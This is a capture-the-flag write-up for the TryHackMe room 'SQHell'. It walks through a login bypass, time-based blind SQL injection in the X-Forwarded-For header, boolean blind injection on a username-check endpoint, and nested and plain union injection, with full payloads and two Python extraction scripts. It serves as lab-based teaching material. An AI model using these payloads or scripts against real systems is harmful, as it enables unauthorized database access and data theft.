SQHell Write Up



sqhell is a fun medium rated CTF room on TryHackMe created by Adam Langley. I found this room incredibly frustrating but also very rewarding and really helped me understand some key SQLI techniques.

I have wrote this write up over a couple of days, so I’ve added a entry in my etc hosts file of ‘sqhell.thm’ to provide consistency across the screen shots as the IP will change.


I deployed the machine and started a NMAP scan to check the available ports.

└──╼ $sudo nmap -sC -sV -oA nmap/initial
# Nmap 7.80 scan initiated Sun May 30 17:55:54 2021 as: nmap -sC -sV -oA nmap/initial
Nmap scan report for
Host is up (0.026s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 30 17:56:03 2021 -- 1 IP address (1 host up) scanned in 8.36 seconds

2 Ports open:

  • 22 - SSH - OpenSSH 8.2p1
  • 80 - HTTP - nginx 1.18.0

I also ran a full port scan but no additional ports were found.

Flag 1

Based on the room name I know this is going to consist of SQLI challenges so I went straight to the web page and found a blog.


The first thing I looked at was the login page, and tried the usual bypass technique: admin' or 1=1;-- -


Flag 2

Flag 2 was the first of the two difficult flags, Looking at the room hints:

Make sure to read the terms and conditions ;)


A common way of monitoring a client IP is adding a header to the web request such as ‘X-Forwarded-For: ', I've seen this a lot on load balancers and WAF's to provide persistance and send all requests from a single source to the same webserver. Below are some example headers:

  • X-Forwarded-For:
  • X-Originating-IP:
  • X-Remote-IP:
  • X-Remote-Addr:
  • X-Forwarded-Host:

I can use time based SQL injection and use sleep, if the header is vulnerable the page will sleep (wait) before returning the page.

I opened Burp and added the X-Forwarded-For header, I tried lots of payloads with no success until I found a great resource.

Finally the payload:' AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '1'='1 worked.


Now I know the X-Forwarded-For header is vulnerable I need to find a way to retrieve data. The flag format is ‘THM{FLAG……’ and stored in the flag column in the flag table so I can use substring to check for each character and if its a match then sleep.

Using hacktricks I created the payload: 1' AND (SELECT sleep(5) FROM flag where SUBSTR(flag,1,1) = 'T') and '1'='1. I tested a few characters and incremented the offset and it confirmed this was flag 2. I created the below python script to automate the process.

# Script to retrieve flag 2 for room SQHell - https://tryhackme.com/room/sqhell

import requests
import time
import string

url = "" #Room IP

characterlist = string.ascii_uppercase + string.digits + '{' + '}' + ':'

flag = ""
counter = 1

payload = f"1' AND (SELECT sleep(2) FROM flag where SUBSTR(flag,{counter},1) = '2') and '1'='1"

headers = {'X-Forwarded-For':payload}

while True:
    for i in characterlist:
        payload = f"1' AND (SELECT sleep(2) FROM flag where SUBSTR(flag,{counter},1) = '{i}') and '1'='1"
        headers = {'X-Forwarded-For':payload}
        start = time.time()
        r = requests.get(url, headers = headers)
        end = time.time()
        if end-start >= 2:
            flag += i
            counter += 1
    if len(flag) >= 43:
        exit(f"The Flag is: {flag}")

Running the script will retrieve the flag.


Flag 3

Looking at the register page of the blog, its possible to check if a username already exists.


This is done by a script in the page source code.

        let username = $(this).val();
        $.getJSON('/register/user-check?username='+ username,function(resp){
            if( resp.available ){
                $('.userstatus').html('Username available');
                $('.userstatus').html('Username already taken');

It’s possible to navigate directly to this endpoint to check the result.


We can use this to provide logic to determine if a condition is true or false. Using the payload: admin' and 1=2;-- - which of course is not true as 1 doesnt equal 1 returns an available = true statement.


However the payload: admin' and 1=1;-- - which is true returns available = false


Using substring again allows for each character to be checked. If the character is a match, an available equals false will be returned. To confirm I used the payload: http://sqhell.thm/register/user-check?username=admin' and (substr((SELECT flag FROM flag LIMIT 0,1),1,1)) = 'T';-- -

This worked and returned a false statement. I created a script to automate the process.

import requests
import string

characterlist = string.ascii_uppercase + string.digits + '{' + '}' + ':'

ip = "" #change to machine IP

flag = ""

counter = 1

while True:
    for i in characterlist: # loop through each character in the character list
        r = requests.get("http://" +  ip + f"/register/user-check?username=admin' and (substr((SELECT flag FROM flag LIMIT 0,1),{counter},1)) = '{i}';-- -") #create request
        if 'false' in r.text: # check if return 'false' statement which indicates a match
            flag += i # add the character to the flag string
            counter += 1 # increment the counter by one to then check the next letter

Running the script provided the flag.


Flag 4

Flag 4 was the second of the two difficult flags, it has the following hint:

Well, dreams, they feel real while we’re in them right?

Googling this provides references to the film Inception. Looking at a user on the blog, showed details of the user along with the posts they had submitted.


I tried a union select payload and repeated adding null entires until I was able to determine the number of columns which was 3.

http://sqhell.thm/user?id=1 union select null,null,null;-- -


I now spent a long time enumerating the database to find the flag but with no luck. While completing the enumeration I was able to determine there was only one user. Any other number resulted in user not found being returned.


However, even with an invalid user id, if I changed the first null value to 1 I could return a list of the users posts. Which would indicate another SQL query.


So to test this I created another union select statement in the user id colum using the same technique as before by repeatedly adding null columns. Once I got to 4 columns the two posts were returned with a blank bullet point.


Now it was just a case of finding a column which I could use to populate the flag which was column two and select the flag from the flag table. The final payload was: http://sqhell.thm/user?id=2 union select "1 union select null,flag,null,null from flag",null,null from information_schema.tables where table_schema=database();-- -


Flag 5

Flag 5 is obtained by using union based injection Looking at the post page url, the posts are retrieved by id: http://sqhell.thm/post?id=2


This looks injectable, to confirm I simply added a ' after the id number.


This resulted in an error indicating an SQLI could be possible. For a union select injection attack to work the number of returned columns need to match the original query. I used order by to determine the number of columns.


I got an error on order by 5 indicating there are 4 columns.


I was then able to simple retrieve the flag using the payload: http://sqhell.thm/post?id=2 and 1=2 union select null,null,flag,null from flag.


Thanks for reading!


  • https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
  • https://ismailtasdelen.medium.com/sql-injection-payload-list-b97656cfd66b
  • https://book.hacktricks.xyz/pentesting-web/sql-injection